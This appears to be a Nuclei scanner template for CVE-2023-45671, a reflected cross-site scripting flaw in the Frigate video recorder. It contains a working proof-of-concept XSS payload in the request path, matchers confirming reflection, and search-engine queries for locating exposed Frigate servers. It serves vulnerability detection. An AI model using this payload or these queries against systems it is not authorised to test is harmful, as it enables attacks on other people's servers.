id: CVE-2023-45671

info:
  name: Frigate < 0.13.0 Beta 3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Frigate is an open source network video recorder. Before version 0.13.0 Beta 3, there is a reflected cross-site scripting vulnerability in any API endpoints reliant on the `/<camera_name>` base path as values provided for the path are not sanitized. Exploiting this vulnerability requires the attacker to both know very specific information about a user's Frigate server and requires an authenticated user to be tricked into clicking a specially crafted link to their Frigate instance. This vulnerability could exploited by an attacker under the following circumstances: Frigate publicly exposed to the internet (even with authentication); attacker knows the address of a user's Frigate instance; attacker crafts a specialized page which links to the user's Frigate instance; attacker finds a way to get an authenticated user to visit their specialized page and click the button/link. As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads. Version 0.13.0 Beta 3 contains a patch for this issue.
  remediation: It has been fixed in version 0.13.0 Beta 3
  reference:
    - https://github.com/blakeblackshear/frigate/security/advisories/GHSA-jjxc-m35j-p56f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45671
    - https://securitylab.github.com/advisories/GHSL-2023-190_Frigate/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2023-45671
    cwe-id: CWE-79
    epss-score: 0.00924
    epss-percentile: 0.82924
    cpe: cpe:2.3:a:frigate:frigate:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: frigate
    product: frigate
    shodan-query:
      - title:"Frigate"
      - http.title:"frigate"
    fofa-query: title="frigate"
    google-query: intitle:"frigate"
  tags: cve,cve2023,frigate,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Camera named <img src=\"\" onerror=alert(document.domain)>")'
          - 'contains(header, "text/html")'
          - 'status_code == 404'
        condition: and
# digest: 4a0a00473045022071053f9a6de1222144454acc010971215e52394fcf6105fad79729a4bab85587022100baca03fa65958de7da8455d4a8dbaba6456f951629aa6cc24a4acf9046f10ef9:922c64590222798bb761d5b6d8e72950